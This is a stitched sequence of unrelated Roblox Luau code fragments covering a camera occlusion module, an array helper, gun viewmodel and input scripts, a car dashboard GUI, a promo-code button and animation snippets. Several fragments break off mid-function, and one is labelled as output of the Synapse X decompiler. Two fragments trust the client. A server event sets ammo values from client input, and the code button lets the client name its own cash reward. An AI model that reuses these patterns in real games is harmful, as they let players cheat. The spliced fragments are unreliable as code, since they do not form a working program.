Use hit point as the cast point, but nudge it slightly inside the character so that bumping up against -- walls is less likely to cause a transparency glitch castPoints[#castPoints + 1] = hitPoint + 0.2 * (centerPoint - hitPoint).unit end end end function Invisicam:SmartCircleBehavior(castPoints) local torsoUp = self.torsoPart.CFrame.upVector.unit local torsoRight = self.torsoPart.CFrame.rightVector.unit -- SMART_CIRCLE mode includes rays to head and 5 to the torso. -- Hands, arms, legs and feet are not included since they -- are not canCollide and can therefore go inside of parts castPoints[#castPoints + 1] = self.torsoPart.CFrame.p castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoUp castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoUp castPoints[#castPoints + 1] = self.torsoPart.CFrame.p + torsoRight castPoints[#castPoints + 1] = self.torsoPart.CFrame.p - torsoRight if self.headPart then castPoints[#castPoints + 1] = self.headPart.CFrame.p end local cameraOrientation = self.camera.CFrame - self.camera.CFrame.p local torsoPoint = Vector3.new(0,0.5,0) + (self.torsoPart and self.torsoPart.Position or self.humanoidRootPart.Position) local radius = 2.5 -- This loop first calculates points in a circle of radius 2.5 around the torso of the character, in the -- plane orthogonal to the camera's lookVector. Each point is then raycast to, to determine if it is within -- the free space surrounding the player (not inside anything). Two iterations are done to adjust points that -- are inside parts, to try to move them to valid locations that are still on their camera ray, so that the -- circle remains circular from the camera's perspective, but does not cast rays into walls or parts that are -- behind, below or beside the character and not really obstructing view of the character. This minimizes -- the undesirable situation where the character walks up to an exterior wall and it is made invisible even -- though it is behind the character. for i = 1, SMART_CIRCLE_CASTS do local angle = SMART_CIRCLE_INCREMENT * i - 0.5 * math.pi local offset = radius * Vector3.new(math.cos(angle), math.sin(angle), 0) local circlePoint = torsoPoint + cameraOrientation * offset -- Vector from camera to point on the circle being tested local vp = circlePoint - self.camera.CFrame.p local ray = Ray.new(torsoPoint, circlePoint - torsoPoint) local hit, hp, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {self.char}, false, false ) local castPoint = circlePoint if hit then local hprime = hp + 0.1 * hitNormal.unit -- Slightly offset hit point from the hit surface local v0 = hprime - torsoPoint -- Vector from torso to offset hit point local perp = (v0:Cross(vp)).unit -- Vector from the offset hit point, along the hit surface local v1 = (perp:Cross(hitNormal)).unit -- Vector from camera to offset hit local vprime = (hprime - self.camera.CFrame.p).unit -- This dot product checks to see if the vector along the hit surface would hit the correct -- side of the invisicam cone, or if it would cross the camera look vector and hit the wrong side if ( v0.unit:Dot(-v1) < v0.unit:Dot(vprime)) then castPoint = RayIntersection(hprime, v1, circlePoint, vp) if castPoint.Magnitude > 0 then local ray = Ray.new(hprime, castPoint - hprime) local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {self.char}, false, false ) if hit then local hprime2 = hitPoint + 0.1 * hitNormal.unit castPoint = hprime2 end else castPoint = hprime end else castPoint = hprime end local ray = Ray.new(torsoPoint, (castPoint - torsoPoint)) local hit, hitPoint, hitNormal = game.Workspace:FindPartOnRayWithIgnoreList(ray, {self.char}, false, false ) if hit then local castPoint2 = hitPoint - 0.1 * (castPoint - torsoPoint).unit castPoint = castPoint2 end end castPoints[#castPoints + 1] = castPoint end end function Invisicam:CheckTorsoReference() if self.char then self.torsoPart = self.char:FindFirstChild("Torso") if not self.torsoPart then self.torsoPart = self.char:FindFirstChild("UpperTorso") if not self.torsoPart then self.torsoPart = self.char:FindFirstChild("HumanoidRootPart") end end self.headPart = self.char:FindFirstChild("Head") end end function Invisicam:CharacterAdded(char: Model, player: Player) -- We only want the LocalPlayer's character if player~=PlayersService.LocalPlayer then return end if self.childAddedConn then self.childAddedConn:Disconnect() self.childAddedConn = nil end if self.childRemovedConn then self.childRemovedConn:Disconnect() self.childRemovedConn = nil end self.char = char self.trackedLimbs = {} local function childAdded(child) if child:IsA("BasePart") then if LIMB_TRACKING_SET[child.Name] then self.trackedLimbs[child] = true end if child.Name == "Torso" or child.Name == "UpperTorso" then self.torsoPart = child end if child.Name == "Head" then self.headPart = child end end end local function childRemoved(child) self.trackedLimbs[child] = nil -- If removed/replaced part is 'Torso' or 'UpperTorso' double check that we still have a TorsoPart to use self:CheckTorsoReference() end self.childAddedConn = char.ChildAdded:Connect(childAdded) self.childRemovedConn = char.ChildRemoved:Connect(childRemoved) for _, child in pairs(self.char:GetChildren()) do childAdded(child) end end function Invisicam:SetMode(newMode: number) AssertTypes(newMode, 'number') for _, modeNum in pairs(MODE) do if modeNum == newMode then self.mode = newMode self.behaviorFunction = self.behaviors[self.mode] return end end error("Invalid mode number") end function Invisicam:GetObscuredParts() return self.savedHits end
--[=[ @function update @within Array @param array {T} -- The array to update. @param index number -- The index to update. @param updater? (value: T, index: number) -> T -- The updater function. @param callback? (index: number) -> T -- The callback function. @return {T} -- The updated array. Updates an array at the given index. If the value at the given index does not exist, `callback` will be called, and its return value will be used as the value at the given index. ```lua local array = { 1, 2, 3 } local new = Update(array, 2, function(value) return value + 1 end) -- { 2, 3, 3 } local new = Update(array, 4, function(value) return value + 1 end, function(value) return 10 end) -- { 1, 2, 3, 10 } ``` ]=]
local function update<T>(array: { T }, index: number, updater: Updater<T>?, callback: Callback<T>?): { T } local length = #array local result = Copy(array) if index < 1 then index += length end updater = if type(updater) == "function" then updater else Util.func.returned if result[index] ~= nil then result[index] = updater(result[index], index) else result[index] = call(callback, index) end return result end return update
--Viewmodel
if Module.VMIdleAnimationID ~= nil then local VMIdleAnim = Instance.new("Animation",Tool) VMIdleAnim.Name = "VMIdleAnim" VMIdleAnim.AnimationId = "rbxassetid://"..Module.VMIdleAnimationID end if Module.VMFireAnimationID ~= nil then local VMFireAnim = Instance.new("Animation",Tool) VMFireAnim.Name = "VMFireAnim" VMFireAnim.AnimationId = "rbxassetid://"..Module.VMFireAnimationID end if Module.VMReloadAnimationID ~= nil then local VMReloadAnim = Instance.new("Animation",Tool) VMReloadAnim.Name = "VMReloadAnim" VMReloadAnim.AnimationId = "rbxassetid://"..Module.VMReloadAnimationID end if Module.VMShotgunClipinAnimationID ~= nil then local VMShotgunClipinAnim = Instance.new("Animation",Tool) VMShotgunClipinAnim.Name = "VMShotgunClipinAnim" VMShotgunClipinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunClipinAnimationID end if Module.VMShotgunPumpinAnimationID ~= nil then local VMShotgunPumpinAnim = Instance.new("Animation",Tool) VMShotgunPumpinAnim.Name = "VMShotgunPumpinAnim" VMShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMShotgunPumpinAnimationID end if Module.VMHoldDownAnimationID ~= nil then local VMHoldDownAnim = Instance.new("Animation",Tool) VMHoldDownAnim.Name = "VMHoldDownAnim" VMHoldDownAnim.AnimationId = "rbxassetid://"..Module.VMHoldDownAnimationID end if Module.VMEquippedAnimationID ~= nil then local VMEquippedAnim = Instance.new("Animation",Tool) VMEquippedAnim.Name = "VMEquippedAnim" VMEquippedAnim.AnimationId = "rbxassetid://"..Module.VMEquippedAnimationID end if Module.SecondaryFireAnimationEnabled and Module.VMSecondaryFireAnimationID ~= nil then local VMSecondaryFireAnim = Instance.new("Animation",Tool) VMSecondaryFireAnim.Name = "VMSecondaryFireAnim" VMSecondaryFireAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryFireAnimationID end if Module.VMSecondaryShotgunPump and Module.VMSecondaryShotgunPumpinAnimationID ~= nil then local VMSecondaryShotgunPumpinAnim = Instance.new("Animation",Tool) VMSecondaryShotgunPumpinAnim.Name = "VMSecondaryShotgunPumpinAnim" VMSecondaryShotgunPumpinAnim.AnimationId = "rbxassetid://"..Module.VMSecondaryShotgunPumpinAnimationID end if Module.TacticalReloadAnimationEnabled and Module.VMTacticalReloadAnimationID ~= nil then local VMTacticalReloadAnim = Instance.new("Animation",Tool) VMTacticalReloadAnim.Name = "VMTacticalReloadAnim" VMTacticalReloadAnim.AnimationId = "rbxassetid://"..Module.VMTacticalReloadAnimationID end if Module.InspectAnimationEnabled and Module.VMInspectAnimationID ~= nil then local VMInspectAnim = Instance.new("Animation",Tool) VMInspectAnim.Name = "VMInspectAnim" VMInspectAnim.AnimationId = "rbxassetid://"..Module.VMInspectAnimationID end ChangeMagAndAmmo.OnServerEvent:connect(function(Player,Mag,Ammo) MagValue.Value = Mag AmmoValue.Value = Ammo end) Tool.Equipped:connect(function() --Player = game.Players:GetPlayerFromCharacter(Tool.Parent) --Character = Tool.Parent --Humanoid = Character:FindFirstChild("Humanoid") if Module.DualEnabled and workspace.FilteringEnabled then Handle2.CanCollide = false local LeftArm = Tool.Parent:FindFirstChild("Left Arm") or Tool.Parent:FindFirstChild("LeftHand") local RightArm = Tool.Parent:FindFirstChild("Right Arm") or Tool.Parent:FindFirstChild("RightHand") if RightArm then local Grip = RightArm:WaitForChild("RightGrip",0.01) if Grip then Grip2 = Grip:Clone() Grip2.Name = "LeftGrip" Grip2.Part0 = LeftArm Grip2.Part1 = Handle2 --Grip2.C1 = Grip2.C1:inverse() Grip2.Parent = LeftArm end end end end) Tool.Unequipped:connect(function() if Module.DualEnabled and workspace.FilteringEnabled then Handle2.CanCollide = true if Grip2 then Grip2:Destroy() end end end)
-- Gun
local heldGun = nil local heldGunHeat = nil local heatConnection = nil local onColor = Color3.fromRGB(50, 51, 50) local offColor = Color3.fromRGB(195, 195, 195)
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do if i ~= 0 then local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 20 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end function Gear() local gearText = script.Parent.Parent.Values.Gear.Value if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then if script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then if gearText > 0 then script.Parent.Tach.Gear.Text = "D" elseif gearText == 0 then script.Parent.Tach.Gear.Text = "N" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false) elseif gearText == -1 then script.Parent.Tach.Gear.Text = "R" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true) end elseif script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then if gearText > 0 then script.Parent.Tach.Gear.Text = "S"..gearText elseif gearText == 0 then script.Parent.Tach.Gear.Text = "N" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false) elseif gearText == -1 then script.Parent.Tach.Gear.Text = "R" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true) end end elseif script.Parent.Parent.Values.TransmissionMode.Value ~= "Auto" then if script.Parent.Parent:FindFirstChild("DriveMode").Value ~= "Comfort" then if gearText > 0 then script.Parent.Tach.Gear.Text = "M"..gearText elseif gearText == 0 then script.Parent.Tach.Gear.Text = "N" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false) elseif gearText == -1 then script.Parent.Tach.Gear.Text = "R" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true) end elseif script.Parent.Parent:FindFirstChild("DriveMode").Value == "Comfort" then if gearText > 0 then script.Parent.Tach.Gear.Text = gearText elseif gearText == 0 then script.Parent.Tach.Gear.Text = "N" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', false) elseif gearText == -1 then script.Parent.Tach.Gear.Text = "R" car.DriveSeat.FE_Lights:FireServer('updateLights', 'reverse', true) end end end end Gear() local moving = false car.Electrics.Changed:Connect(function() if car.Electrics.Value == true then moving = true local ts = game:GetService("TweenService") local tweenInfo = TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out, 0, false) local goal = {} goal.Rotation = 270 local a = ts:Create(script.Parent.Speedo.Needle, tweenInfo, goal) a:Play() a = ts:Create(script.Parent.Tach.Needle, tweenInfo, goal) a:Play() local goal2 = {} goal2.Rotation = 180 a = ts:Create(intach, tweenInfo, goal2) a:Play() a = ts:Create(inspd, tweenInfo, goal2) a:Play() wait(1) goal.Rotation = 45 a = ts:Create(script.Parent.Speedo.Needle, tweenInfo, goal) a:Play() a = ts:Create(script.Parent.Tach.Needle, tweenInfo, goal) a:Play() goal2.Rotation = -90 a = ts:Create(intach, tweenInfo, goal2) a:Play() a = ts:Create(inspd, tweenInfo, goal2) a:Play() wait(1) goal2.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) a = ts:Create(script.Parent.Tach.Needle, tweenInfo, goal2) a:Play() goal2.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) a = ts:Create(script.Parent.Speedo.Needle, tweenInfo, goal2) wait(1) moving = false end end) car.DriveSeat.LI.Changed:connect(function() if car.DriveSeat.LI.Value == true then script.Parent.TMode.Left.Visible = true else script.Parent.TMode.Left.Visible = false end end) car.DriveSeat.RI.Changed:connect(function() if car.DriveSeat.RI.Value == true then script.Parent.TMode.Right.Visible = true else script.Parent.TMode.Right.Visible = false end end) if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) function as() script.Parent.TMode.AS.Visible = car.ControlPanelHandler.Values.AS.Value end as() car.ControlPanelHandler.Values.AS.Changed:connect(as) function astog() script.Parent.TMode.AS2.Visible = not car.ControlPanelHandler.Values.ASTog.Value script.Parent.TMode.OFF.Visible = not car.ControlPanelHandler.Values.ASTog.Value end astog() car.ControlPanelHandler.Values.ASTog.Changed:connect(astog) script.Parent.Parent.Values.RPM.Changed:connect(function() if car.ControlPanelHandler.Values.AS.Value == false and moving == false then script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) intach.Rotation = -90 + script.Parent.Parent.Values.RPM.Value * 270 / 8000 else script.Parent.Tach.Needle.Rotation = 60 end end) script.Parent.Parent.Values.Gear.Changed:connect(Gear) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) Gear() elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) Gear() else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) Gear() end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) if moving == false then script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speedo.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) inspd.Rotation = -90 + (270 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88)))) end end) script.Parent.Speedo.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speedo.Speed.Unit.Text = UNITS[currentUnits].units end) mouse.KeyDown:connect(function(key) if key=="v" then script.Parent.Visible=not script.Parent.Visible end end)
--Codes
local codelist = { code1 = "ROBLOX", -- Always put a comma every timne you're going to add another code code2 = "HALLOWEEN" } script.Parent.MouseButton1Click:Connect(function() if script.Parent.Parent.CodeHandler.Text == codelist.code1 then -- Im gonna add an expiration in this code if date["month"] == 8 and date["day"] <= 3 then -- Months are in numerical order .Month and Day must be in lowercase letters. Use "<=" If you want to make your code valid until that date. Use "==" if you want to make your code valid only on that date. if not codes:FindFirstChild("Code1") then -- This one here RE:FireServer(500, "Code1") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools. script.Parent.Text = "Code redeemed successfully!" script.Parent.Parent.CodeHandler.Text = "" -- Removes the text in our code handler textbox wait(2) script.Parent.Text = "Redeem Code" else script.Parent.Text = "Code already redeemed!" wait(2) script.Parent.Text = "Redeem Code" end else script.Parent.Text = "Code expired!" wait(2) script.Parent.Text = "Redeem Code" end elseif script.Parent.Parent.CodeHandler.Text == codelist.code2 then -- Your second code. So if our textbox matches the code in our dictionary... if not codes:FindFirstChild("Code2") then -- This one here RE:FireServer(30, "Code2") -- The string must be the same as in the top. For now I can reward the player, cash. Until I can learn how to save tools. script.Parent.Text = "Code redeemed successfully!" script.Parent.Parent.CodeHandler.Text = "" wait(2) script.Parent.Text = "Redeem Code" else script.Parent.Text = "Code already redeemed!" wait(2) script.Parent.Text = "Redeem Code" end else script.Parent.Text = "Code invalid!" script.Parent.Parent.CodeHandler.Text = "" wait(2) script.Parent.Text = "Redeem Code" end end)
-- Preload animations
function PlayAnimation(AnimName, TransitionTime, Humanoid) local IdleFromEmote = (AnimName == "Idle" and EmoteNames[CurrentAnim] ~= nil) if AnimName ~= CurrentAnim and not IdleFromEmote then if CurrentAnimTrack then CurrentAnimTrack:Stop(TransitionTime) CurrentAnimTrack:Destroy() end CurrentAnimSpeed = 1 local Roll = math.random(1, AnimTable[AnimName].TotalWeight) local OrigRoll = roll local Index = 1 while Roll > AnimTable[AnimName][Index].Weight do Roll = Roll - AnimTable[AnimName][Index].Weight Index = Index + 1 end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = script:FindFirstAncestor("MainUI"); local l__LocalPlayer__2 = game.Players.LocalPlayer; local l__Bricks__1 = game:GetService("ReplicatedStorage"):WaitForChild("Bricks"); local u2 = "AchievementUnlock"; local v3 = l__Bricks__1:WaitForChild("AchievementUnlock").OnClientEvent:Connect(function(...) require(script:WaitForChild("Modules"):WaitForChild(u2))(m, ...); end);
---------------------------------------------------------------------- -- -- HERE BE DRAGONS! -- -- You can hack together your own scripts using the objects -- in here, but this is all highly experimental and *WILL BREAK* -- in a future release. If that bothers you, look away... -- -- T -- -----------------------------------------------------------------------
local Board = script.Parent local Controller local Gyro local CoastingAnim local KickAnim local LeftAnim local RightAnim local OllieAnim
---------------------------------------------------------------
function onChildAdded(something) if something.Name == "SeatWeld" then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then s.speedo:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui end end end function onChildRemoved(something) if (something.Name == "SeatWeld") then local human = something.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human Found") game.Players:findFirstChild(human.Parent.Name).PlayerGui.speedo:remove() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
-- Module
local SPRING = {} local Meta = {__index = SPRING}
--Put this in a brick to make it move. --Don't edit ANYTHING unless you know what your doing
while true do script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0.03,0,0) wait(0.01) end
--//Setup//--
local Holder = script.Parent local Button = Holder.IconButton local EmotesMenu = Holder.Parent.Parent.EmotesMenuHolder
--[[Weight and CG]]
Tune.Weight = script.Tune_Weight.Value -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 14 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
--// Input Connections
L_82_.InputBegan:connect(function(L_264_arg1, L_265_arg2) if not L_265_arg2 and L_15_ then if L_264_arg1.UserInputType == Enum.UserInputType.MouseButton2 and not L_59_ and L_23_.CanAim and not L_56_ and L_15_ and not L_48_ and not L_49_ then if not L_46_ then if not L_47_ then L_3_.Humanoid.WalkSpeed = 10 L_127_ = 10 L_126_ = 0.008 end L_74_ = L_35_ L_105_.target = L_38_.CFrame:toObjectSpace(L_29_.CFrame).p L_90_:FireServer(true) L_46_ = true end end; if L_264_arg1.KeyCode == L_23_.AlternateAimKey and not L_59_ and L_23_.CanAim and not L_56_ and L_15_ and not L_48_ and not L_49_ then if not L_46_ then if not L_47_ then L_3_.Humanoid.WalkSpeed = 10 L_127_ = 10 L_126_ = 0.008 end L_74_ = L_35_ L_105_.target = L_38_.CFrame:toObjectSpace(L_29_.CFrame).p L_90_:FireServer(true) L_46_ = true end end; if L_264_arg1.UserInputType == Enum.UserInputType.MouseButton1 and not L_59_ and L_51_ and L_15_ and not L_48_ and not L_49_ and not L_56_ then L_50_ = true if not Shooting and L_15_ and not L_60_ then if L_78_ > 0 then Shoot() end elseif not Shooting and L_15_ and L_60_ then if L_80_ > 0 then Shoot() end end end; if L_264_arg1.KeyCode == L_23_.LaserKey and L_15_ and L_23_.LaserAttached then local L_266_ = L_1_:FindFirstChild("LaserLight") L_94_.KeyDown[1].Plugin() end; if L_264_arg1.KeyCode == L_23_.LightKey and L_15_ and L_23_.LightAttached then local L_267_ = L_1_:FindFirstChild("FlashLight"):FindFirstChild('Light') local L_268_ = false L_267_.Enabled = not L_267_.Enabled end; if L_15_ and L_264_arg1.KeyCode == L_23_.FireSelectKey and not L_52_ then L_52_ = true if L_69_ == 1 then if Shooting then Shooting = false end if L_23_.AutoEnabled then L_69_ = 2 L_60_ = false L_51_ = L_61_ elseif not L_23_.AutoEnabled and L_23_.BurstEnabled then L_69_ = 3 L_60_ = false L_51_ = L_61_ elseif not L_23_.AutoEnabled and not L_23_.BurstEnabled and L_23_.BoltAction then L_69_ = 4 L_60_ = false L_51_ = L_61_ elseif not L_23_.AutoEnabled and not L_23_.BurstEnabled and not L_23_.BoltAction and L_23_.ExplosiveEnabled then L_69_ = 6 L_60_ = true L_61_ = L_51_ L_51_ = L_62_ elseif not L_23_.AutoEnabled and not L_23_.BurstEnabled and not L_23_.BoltAction and not L_23_.ExplosiveEnabled then L_69_ = 1 L_60_ = false L_51_ = L_61_ end elseif L_69_ == 2 then if Shooting then Shooting = false end if L_23_.BurstEnabled then L_69_ = 3 L_60_ = false L_51_ = L_61_ elseif not L_23_.BurstEnabled and L_23_.BoltAction then L_69_ = 4 L_60_ = false L_51_ = L_61_ elseif not L_23_.BurstEnabled and not L_23_.BoltAction and L_23_.ExplosiveEnabled then L_69_ = 6 L_60_ = true L_61_ = L_51_ L_51_ = L_62_ elseif not L_23_.BurstEnabled and not L_23_.BoltAction and not L_23_.ExplosiveEnabled and L_23_.SemiEnabled then L_69_ = 1 L_60_ = false L_51_ = L_61_ elseif not L_23_.BurstEnabled and not L_23_.BoltAction and not L_23_.SemiEnabled then L_69_ = 2 L_60_ = false L_51_ = L_61_ end elseif L_69_ == 3 then if Shooting then Shooting = false end if L_23_.BoltAction then L_69_ = 4 L_60_ = false L_51_ = L_61_ elseif not L_23_.BoltAction and L_23_.ExplosiveEnabled then L_69_ = 6 L_60_ = true L_61_ = L_51_ L_51_ = L_62_ elseif not L_23_.BoltAction and not L_23_.ExplosiveEnabled and L_23_.SemiEnabled then L_69_ = 1 L_60_ = false L_51_ = L_61_ elseif not L_23_.BoltAction and not L_23_.SemiEnabled and L_23_.AutoEnabled then L_69_ = 2 L_60_ = false L_51_ = L_61_ elseif not L_23_.BoltAction and not L_23_.SemiEnabled and not L_23_.AutoEnabled then L_69_ = 3 L_60_ = false L_51_ = L_61_ end elseif L_69_ == 4 then if Shooting then Shooting = false end if L_23_.ExplosiveEnabled then L_69_ = 6 L_60_ = true L_61_ = L_51_ L_51_ = L_62_ elseif not L_23_.ExplosiveEnabled and L_23_.SemiEnabled then L_69_ = 1 L_60_ = false L_51_ = L_61_ elseif not L_23_.SemiEnabled and L_23_.AutoEnabled then L_69_ = 2 L_60_ = false L_51_ = L_61_ elseif not L_23_.SemiEnabled and not 